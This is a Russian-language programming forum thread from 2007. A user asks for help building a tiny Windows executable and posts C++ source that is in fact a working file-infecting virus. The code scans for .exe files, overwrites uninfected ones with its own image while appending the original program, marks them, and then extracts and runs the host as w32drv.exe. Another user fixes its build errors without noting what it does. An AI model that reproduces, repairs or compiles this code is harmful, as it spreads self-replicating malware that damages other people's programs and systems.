Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Сборка файла

19K
16 февраля 2007 года
пакахондас
21 / / 24.01.2007
Всем привет.Люди-подскажите пожалуста как можно самостоятельно собрать файл в среде Visual C++.Я програмирую только при помощи API,мне нужно переназначить новую точку входа и вообще задать параметры будующего файла-(где какая секция,выравнивание и тд.)Сразу говорю что я прочитал статью "написание экстрамаленьких приложений на С++" но то что там написано просто не линкуется или линкуется но не поддерживает локальных переменных.Помоготе,пожалуста.....
292
17 февраля 2007 года
Matush
726 / / 14.01.2004
Цитата: пакахондас
..."написание экстрамаленьких приложений на С++" но то что там написано просто не линкуется или линкуется но не поддерживает...



Я когда-то тоже это читал. Все работало. Минимальный нерабочий исходник и настройки проекта в студию пожалуйста.

19K
19 февраля 2007 года
пакахондас
21 / / 24.01.2007
Код:
#include <windows.h>



#pragma comment(linker,"/ENTRY:kora")
#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment (linker,"/SUBSYSTEM:WINDOWS")
char rez[100];
char buff[2000];
double size=53248;
bool test(WIN32_FIND_DATA ff)
{

HANDLE fh;

fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL);
CloseHandle(fh);
if(buff[1550]=='Q' && buff[1551]=='3') {return (true);}
else {return(false);}
}

void restore(char *fname)
{
    HANDLE mh;
    HANDLE fh;
    unsigned long size1;
    fh=CreateFile(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
    size1=GetFileSize(fh,0);
    mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE);
    _llseek((int)fh,53248,FILE_BEGIN);
    ReadFile(fh,mh,size1,&size1,NULL);
        CloseHandle(fh);
        fh=CreateFile("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0);
        WriteFile(fh,mh,size1,&size1,NULL);
        VirtualFree(mh,size1,16384);
        CloseHandle(fh);
        WinExec("w32drv.exe",2);
        DeleteFile("win32drv.exe");
}


int kora()
{
    HANDLE find_handle;
    WIN32_FIND_DATA ff;
   
    HANDLE mf;
    HANDLE fh;
    lstrcpy(&rez[0],GetCommandLine());
    DeleteFile("w32drv.exe");
    find_handle=FindFirstFile("*.exe",&ff);
    while (1)
    {
        if(!test(ff))
        {
            mf=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE);
            fh=CreateFile(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);
            ReadFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
            CloseHandle(fh);
            CopyFile(&rez[0],ff.cFileName,0);
            fh=CreateFile(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0);
            _llseek(int (fh),size,FILE_BEGIN);
            WriteFile(fh,mf,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);
            VirtualFree(mf,ff.nFileSizeLow,16384);
            CloseHandle(fh);
        }

        if(!FindNextFileA(find_handle,&ff)) break;
    }
    FindClose(find_handle);
    restore(&rez[0]);
    return(0);
   

}


Вот хотел попрактиковатся в С++ а оно не линкуется,выдаёт что неопознаёт какието символы и тд..
Что делать?Спасибо
292
19 февраля 2007 года
Matush
726 / / 14.01.2004
Ну во-первых не FILE_SHAR E_WRITE, а FILE_SHARE_WRITE (там по тексту пару таких приколов).

Во-вторых забери #pragma comment(linker,"/NODEFAULTLIB")
тогда все скомпилится, залинкуется. Размер ЕХЕ получится 4608
19K
22 февраля 2007 года
пакахондас
21 / / 24.01.2007
сделал всё как ты сказал.Неработает.Я использую visual 6.0.Может с настройками проэкта чтото не то ...Самое странное что маленькие файлы с одной API функцией собираются а вот побольше никак.Линкер выдаёт ошибку unresolved simvol.А ты немог бы собрать файл и выслать его с проектом.Спасиба
19K
07 марта 2007 года
пакахондас
21 / / 24.01.2007
кого интерисует написание маленьких файлов даю ссылку.Там лежит пара решений:http://www.bobjohnson.nm.ru/inf/info_cpp.html
292
07 марта 2007 года
Matush
726 / / 14.01.2004
Ты разобрался чего у тебя не компилировался? В чем была причина?
19K
10 марта 2007 года
пакахондас
21 / / 24.01.2007
Да разобрался.Когда отключаеш все библиотеки ищезает поддержка вещественных типов,возможна только целочисленная арифметика.Такую штуку можно обойти если на асме закодить матем.сопроцессор.
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог